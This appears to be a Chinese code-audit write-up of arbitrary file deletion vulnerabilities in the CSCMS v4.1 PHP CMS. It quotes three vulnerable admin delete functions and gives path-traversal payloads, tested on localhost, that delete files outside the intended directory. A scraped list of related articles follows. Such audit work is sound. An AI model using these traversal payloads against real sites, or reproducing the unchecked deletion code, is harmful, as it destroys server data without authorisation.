【代码审计】任意文件删除漏洞实例

简介: 任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。   环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.

 

任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。

 

环境搭建:

CSCMS :http://www.chshcms.com/

网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05)

程序源码下载:https://github.com/chshcms/cscms

 

漏洞实例一:

漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php  第160-177行:

         public function del(){

                   $dir = $this->input->get_post('id',true);

                   if(empty($dir)){

                            getjson(L('plub_11'));

                   }

                   $dirs = array();

                   if(!is_array($dir)){

                            $dirs[] = $dir;

                   }else{

                            $dirs = $dir;

                   }

                   foreach($dirs as $dir) {

            deldir(FCPATH.'attachment/backup/'.$dir);

                   }

                   $info['msg'] = L('plub_12');

                   $info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999);

        getjson($info,0);

         }

漏洞利用:

1、  根目录下新建test目录作为测试:

 

2、  构造参数成功删除test目录

http://127.0.0.1/admin.php/basedb/del

POST:id=..\\..\\test

 

漏洞实例二:

漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行:

         public function del(){

        $ac = $this->input->get('ac',true);

        $op = $this->input->get('op',true);

        $dir = $this->input->get('dirs',true);

        $file = $this->input->get('file');

                   if($ac!='mobile') $ac='pc';

                   if($op!='home' && $op!='user') $op='skins';

                   if(empty($dir)) getjson(L('plub_27'));

 

        $skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file;

                   if (!is_dir($skin_dir)) {  //文件

              $res=unlink($skin_dir);

                   }else{  //目录

              $res=deldir($skin_dir);

                   }

                   if($res){

            $info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999);

            $info['msg'] = L('plub_46');

            $info['turn'] = 1;

            getjson($info,0);

                   }else{

            getjson(L('plub_28'));

                   }

漏洞利用:

网站根目录下新建1.txt文件作为测试,构造URL成功删除文件

Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt

 

漏洞实例三:

漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行:

  public function del(){

             $dir = $this->input->get_post('dir',true);

             if($dir==''){

                      getjson(L('plub_del_0'),1);

             }

        deldir(FCPATH.'plugins'.FGF.$dir.FGF);

                   //删除配置目录

        deldir(CSCMS.$dir.FGF);

                   //删除模板目录

        deldir(FCPATH.'tpl/admin/'.$dir.FGF);

        $info['func'] = __FUNCTION__;

        $info['msg'] = L('plub_del_1');

        getjson($info,0);

         }

漏洞利用:

 

 

目录
相关文章
|
2月前
|
SQL 安全 Java
JAVA代码审计SAST工具使用与漏洞特征
JAVA代码审计SAST工具使用与漏洞特征
80 2
|
3月前
|
SQL 安全 Java
JAVA代码审计SAST工具使用与漏洞特征
JAVA代码审计SAST工具使用与漏洞特征
82 1
|
4月前
|
SQL 安全 API
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
105 4
|
5月前
|
SQL 安全 JavaScript
Java中的代码审计与漏洞检测
Java中的代码审计与漏洞检测
|
5月前
|
SQL 安全 Java
Java中的代码审计与漏洞检测实践指南
Java中的代码审计与漏洞检测实践指南
|
SQL 移动开发 供应链
网站代码审计漏洞查找技术是如何炼成的?
常常许多人问过那样一个难题,网络黑客是确实那么强大吗?就现阶段来讲,在黑客游戏或影视剧中,网络黑客所展现的工作能力与实际是相差无异的(黑客帝国此类种类以外)。唯一的差别是影视剧中的主人公可以瞬间控制供电系统,导致大城市电力工程偏瘫。走在路上任意监听所有人。
365 0
网站代码审计漏洞查找技术是如何炼成的?
|
SQL 安全 前端开发
网站漏洞检测 wordpress sql注入漏洞代码审计与修复
wordpress系统本身代码,很少出现sql注入漏洞,反倒是第三方的插件出现太多太多的漏洞,我们SINE安全发现,仅仅2019年9月份就出现8个插件漏洞,因为第三方开发的插件,技术都参差不齐,对安全方面也不是太懂导致写代码过程中没有对sql注入,以及xss跨站进行前端安全过滤,才导致发生sql注入漏洞。
435 0
网站漏洞检测 wordpress sql注入漏洞代码审计与修复
|
安全 PHP .NET
通过代码审计找出网站中的XSS漏洞实战(三)
一、背景 笔者此前录制了一套XSS的视频教程,在漏洞案例一节中讲解手工挖掘、工具挖掘、代码审计三部分内容,准备将内容用文章的形式再次写一此,前两篇已经写完,内容有一些关联性,其中手工XSS挖掘篇地址为快速找出网站中可能存在的XSS漏洞实践(一)https://segmentfault.com/a/1190000016095198 本文主要记录通过代码审计的方式进行XSS漏洞挖掘,分为了找出关键位置,正向审计,反向审计三个部分,审计的系统为permeate渗透测试系统,测试系统的搭建可以参考笔者的第一篇文章。
1704 0
|
安全 .NET 开发框架
ASP代码审计学习笔记 -4.命令执行漏洞
  命令执行漏洞:   保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令  利用方式: http://localhost/cmd.asp?ip=127.0.0.1|set   漏洞修复方式一: 把输入的值当作参数来执行,避免命令执行漏洞,可能会占用系统资源,不够优化。
1439 0
|
安全 .NET PHP
ASP代码审计学习笔记 -3.上传漏洞
1、ASP上传过程抓包分析: POST /4.asp HTTP/1.1 Host: 192.168.1.102 User-Agent: Mozilla/5.0 (Windows NT 10.
1745 0